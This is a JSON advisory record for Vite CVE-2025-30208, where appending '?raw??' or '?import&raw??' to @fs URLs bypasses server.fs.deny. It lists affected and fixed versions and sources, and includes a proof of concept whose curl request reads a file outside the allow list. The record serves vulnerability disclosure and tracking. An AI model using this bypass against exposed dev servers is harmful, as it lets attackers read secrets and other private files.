{ "canonical_id": "vite--CVE-2025-30208", "system_id": "vite", "display_name": "Vite", "category": "frameworks", "advisory_mode": "core", "title": "Vite bypasses server.fs.deny when using ?raw??", "summary": "### Summary\nThe contents of arbitrary files can be returned to the browser.\n\n### Impact\nOnly apps explicitly exposing the Vite dev server to the network (using `--host` or [`server.host` config option](https://vitejs.dev/config/server-options.html#server-host)) are affected.\n\n### Details\n`@fs` denies access to files outside of Vite serving allow list. Adding `?raw??` or `?import&raw??` to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as `?` are removed in several places, but are not accounted for in query string regexes.\n\n### PoC\n```bash\n$ npm create vite@latest\n$ cd vite-project/\n$ npm install\n$ npm run dev\n\n$ echo \"top secret content\" > /tmp/secret.txt\n\n# expected behaviour\n$ curl \"http://localhost:5173/@fs/tmp/secret.txt\"\n\n \n

403 Restricted

\n

The request url "/tmp/secret.txt" is outside of Vite serving allow list.\n\n# security bypassed\n$ curl \"http://localhost:5173/@fs/tmp/secret.txt?import&raw??\"\nexport default \"top secret content\\n\"\n//# sourceMappingURL=data:application/json;base64,eyJ2...\n```", "published_at": "2025-03-25T14:00:02Z", "updated_at": "2026-02-04T03:13:24.371631Z", "severity": "low", "cvss_score": 3.1, "exploit_status": "unknown", "source_confidence": "official", "official_source_url": "https://github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w", "secondary_source_urls": [ "https://nvd.nist.gov/vuln/detail/CVE-2025-30208", "https://github.com/vitejs/vite/commit/315695e9d97cc6cfa7e6d9e0229fb50cdae3d9f4", "https://github.com/vitejs/vite/commit/80381c38d6f068b12e6e928cd3c616bd1d64803c", "https://github.com/vitejs/vite/commit/807d7f06d33ab49c48a2a3501da3eea1906c0d41", "https://github.com/vitejs/vite/commit/92ca12dc79118bf66f2b32ff81ed09e0d0bd07ca", "https://github.com/vitejs/vite/commit/f234b5744d8b74c95535a7b82cc88ed2144263c1", "https://github.com/vitejs/vite" ], "aliases": [ "CVE-2025-30208", "GHSA-x574-m823-4x7w" ], "cve_ids": [ "CVE-2025-30208" ], "ghsa_ids": [ "GHSA-x574-m823-4x7w" ], "osv_ids": [ "GHSA-x574-m823-4x7w" ], "affected_versions": [ "introduced=6.2.0, fixed<6.2.3", "introduced=6.1.0, fixed<6.1.2", "introduced=6.0.0, fixed<6.0.12", "introduced=5.0.0, fixed<5.4.15", "introduced=0, fixed<4.5.10" ], "fixed_versions": [ "6.2.3", "6.1.2", "6.0.12", "5.4.15", "4.5.10" ], "package_name": "vite", "render_markdown": true, "case_path": "07-framework-security/frameworks/vite/cases/vite-cve-2025-30208.md", "secure_code_topics": [ "dependency-upgrade-policy", "file-upload-validation", "proxy-trust-boundary" ], "status": "generated", "triage_reasons": [], "metadata": { "source_names": [ "OSV Vite" ], "source_kinds": [ "osv-batch" ], "candidate_count": 1 } }